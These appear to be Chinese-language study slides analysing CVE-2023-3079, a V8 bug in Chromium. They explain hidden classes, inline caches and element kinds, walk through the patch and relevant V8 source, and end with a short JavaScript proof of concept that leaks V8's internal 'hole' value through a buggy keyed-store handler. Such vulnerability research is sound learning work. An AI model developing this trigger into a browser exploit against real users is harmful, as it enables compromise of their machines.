# Browser 筆記 <style> .reveal h1 { font-size: 96px; } .reveal h2 { font-size: 72px; } .reveal h3 { font-size: 64px; } .reveal { font-size: 32px; } </style> <!-- Put the link to this slide here so people can follow --> slide: https://hackmd.io/@atdog/BJ4tbd1-0 --- 最近想學學 Browser 但真的肥 --- 所以打算把這些過程記錄起來 有興趣可以一起摸他個兩下 --- ## 🌰 CVE-2023-3079 - Chromium - V8 - in the wild --- ### 關於 Chromium 的 JS compiler pipeline 演進 ---- ## 2010 ![image](https://hackmd.io/_uploads/HytC6DB-R.png) ---- ## 2015 ![image](https://hackmd.io/_uploads/rkoaTPr-C.png) ---- ## 2016 ![image](https://hackmd.io/_uploads/B1hlADrbC.png) ---- ## 2017 早期 ![image](https://hackmd.io/_uploads/HJMMCPrbR.png) ---- ## 2017 後期 ![image](https://hackmd.io/_uploads/Sk9rCvB-0.png) ---- ### 也就是目前的版本 - Interpreter: Ignition - Optimizer: TurboFan --- ## 小背景 - https://mathiasbynens.be/notes/shapes-ics - Hidden Class - Inline Cache ---- ## JSObject Property ![image](https://mathiasbynens.be/_img/js-engines/object-model.svg) ---- ## JSArray Property ![image](https://mathiasbynens.be/_img/js-engines/array-1.svg) ---- ## JSArray Property ![image](https://mathiasbynens.be/_img/js-engines/array-2.svg) ---- ## Shape (Hidden Class) ![image](https://mathiasbynens.be/_img/js-engines/object-model.svg) ---- ## Shape ![image](https://mathiasbynens.be/_img/js-engines/shape-1.svg) ---- ## Shape ![image](https://mathiasbynens.be/_img/js-engines/shape-2.svg) ---- ## Shape Chain ![image](https://mathiasbynens.be/_img/js-engines/shape-chain-1.svg) ---- ## Shape Tree ![image](https://mathiasbynens.be/_img/js-engines/shape-tree.svg) ---- ## Shape Tree ![image](https://mathiasbynens.be/_img/js-engines/empty-shape-bypass.svg) ---- ## 如果是這樣 ```javascript const point = {}; point.x = 4; point.y = 5; point.z = 6; ``` ---- ## Shape Table ![image](https://mathiasbynens.be/_img/js-engines/shapetable-1.svg) ---- ## Shape Table ![image](https://mathiasbynens.be/_img/js-engines/shapetable-2.svg) ---- ## JSArray Shape ![image](https://mathiasbynens.be/_img/js-engines/array-shape.svg) ---- ## JSArray Shape ![image](https://mathiasbynens.be/_img/js-engines/array-elements.svg) ---- `shape == hidden class == map` --- ## Inline Cache ---- ## Interpreter ![image](https://mathiasbynens.be/_img/js-engines/ic-1.svg) ---- ## Cache Slot ![image](https://mathiasbynens.be/_img/js-engines/ic-2.svg) ---- ## Cache Slot ![image](https://mathiasbynens.be/_img/js-engines/ic-3.svg) ---- ## Cache Miss ![image](https://mathiasbynens.be/_img/js-engines/ic-4.svg) ---- `monomorphic` `polymorphic` `megamorphic` --- ## V8 Memory layout ![image](https://hackmd.io/_uploads/H1-DOtBZ0.png) --- 大部分狀況下 Properties & Elements 都是 array 的形式 叫做 `Fast Properties` & `Fast Elements` --- ### Elements `Packed` v.s. `Holey` ---- ## Packed Elements - 一坨的 `let a = ["test"]` - map: <Map\[16\](PACKED_ELEMENTS)> \[FastProperties\] `let a = [1]` - map: <Map\[16\](PACKED_SMI_ELEMENTS)> \[FastProperties\] ---- ## Holey Elements - 有洞的 `let a = {10: "test"}` - map: <Map\[28\](HOLEY_ELEMENTS)> \[FastProperties\] ```yaml - elements: 0x333e001cc619 <FixedArray[32]> { 0-9: 0x333e0000026d <the_hole> 10: 0x333e00002765 <String[1]: #2> 11-31: 0x333e0000026d <the_hole> } ``` ---- `console.log(arr[5])` undefined --- ### 差不多可以來看洞 先看看別人做的分析 ---- ![image](https://hackmd.io/_uploads/SJy-W5H-0.png) ---- ![image](https://hackmd.io/_uploads/SJbClqHZ0.png) ---- ![image](https://hackmd.io/_uploads/BJitsvB-R.png) ---- ![image](https://hackmd.io/_uploads/SJiBb5BZ0.png) ---- ## quick analysis from X - `a[0] = 1` ![image](https://hackmd.io/_uploads/HyRx2wrZ0.png) ---- ## quick analysis from X - `a['key'] = 1` ![image](https://hackmd.io/_uploads/HkeH3DBbR.png) ---- 我就是生不出 StoreInArrayLiteralIC :+1: ---- ## 從 Diff 開始 ![image](https://hackmd.io/_uploads/r1629wrZR.png) --- ## IC 有兩種 Handler Property & Element --- `StoreElementHandler()` 就是用來生出塞 element 時要的 handler --- ## StoreFastElementBuiltin ```cpp Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate, KeyedAccessStoreMode mode) { switch (mode) { case STANDARD_STORE: return BUILTIN_CODE(isolate, StoreFastElementIC_Standard); case STORE_AND_GROW_HANDLE_COW: return BUILTIN_CODE(isolate, StoreFastElementIC_GrowNoTransitionHandleCOW); case STORE_IGNORE_OUT_OF_BOUNDS: return BUILTIN_CODE(isolate, StoreFastElementIC_NoTransitionIgnoreOOB); case STORE_HANDLE_COW: return BUILTIN_CODE(isolate, StoreFastElementIC_NoTransitionHandleCOW); default: UNREACHABLE(); } } ``` --- ## 可以知道 :shit: - IsJSArgumentsObjectMap() -> 特別的 object - IsFastElements() - ! STANDARD_STORE - STORE_AND_GROW_HANDLE_COW `StoreFastElementIC_GrowNoTransitionHandleCOW` --- ## Inconsist ```cpp Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index, Handle<Object> value, PropertyAttributes attributes) { ... // [ 2 ] Change to Holey Element Kind if needed // 1. If the elements kind of the object is already holey // 2. If object is not a JSArray // 3. If index is larger than the length of the JSArray if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) || index > old_length) { to = GetHoleyElementsKind(to); kind = GetHoleyElementsKind(kind); } to = GetMoreGeneralElementsKind(kind, to); ... } ``` --- ## Backtrace - KeyedStoreIC::Store - UpdateStoreElement → StoreElementPolymorphicHandlers → StoreElementHandler :bug: --- ### 那要怎麼戳到 `KeyedStoreIC::Store` --- `v8::internal::Runtime_KeyedStoreIC_Miss()` ```cpp if (IsKeyedStoreICKind(kind) || IsDefineKeyedOwnICKind(kind)) { KeyedStoreIC ic(isolate, vector, vector_slot, kind); ic.UpdateState(receiver, key); RETURN_RESULT_OR_FAILURE(isolate, ic.Store(receiver, key, value)); } ``` --- ## IGNITION_HANDLER ```cpp= IGNITION_HANDLER(SetKeyedProperty, InterpreterAssembler) { TNode<Object> object = LoadRegisterAtOperandIndex(0); TNode<Object> name = LoadRegisterAtOperandIndex(1); TNode<Object> value = GetAccumulator(); TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2); TNode<HeapObject> maybe_vector = LoadFeedbackVector(); TNode<Context> context = GetContext(); TNode<Object> result = CallBuiltin(Builtin::kKeyedStoreIC, context, object, name, value, slot, maybe_vector); ClobberAccumulator(result); Dispatch(); } ``` --- ## `d8 --print-bytecode` - Ignition Call - SetNamedProperty - `a["key"] = value` - SetKeyedProperty - `a[1] = value` --- ## 導致 Argument 可以利用的另外個原因 JS Engine Checks `JSArray` -> `property length` `! JSArray` -> `elements table size` --- ### 來看看 poc 吧 --- ```javascript function getargs() { return arguments; } function key_store(obj, key, val) { obj[key] = val; } let arr = getargs(1, 2, 3); for(let i = 0; i < 10; i++) { key_store(arr, 'k', 1); // MONOMORPHIC with property handler instead } key_store([], 0, 1); // POLYMORPHIC + Packed element handler key_store(arr, arr.length, 1); // Call buggy element handler console.log(arr[arr.length + 1]); // print "hole" ```
{"description":"View the slide with \"Slide Mode\".","contributors":"[{\"id\":\"60628c5b-b3b3-4e28-ad05-05960eaf8407\",\"add\":13744,\"del\":6274}]","title":"CVE-2023-3079"}
    125 views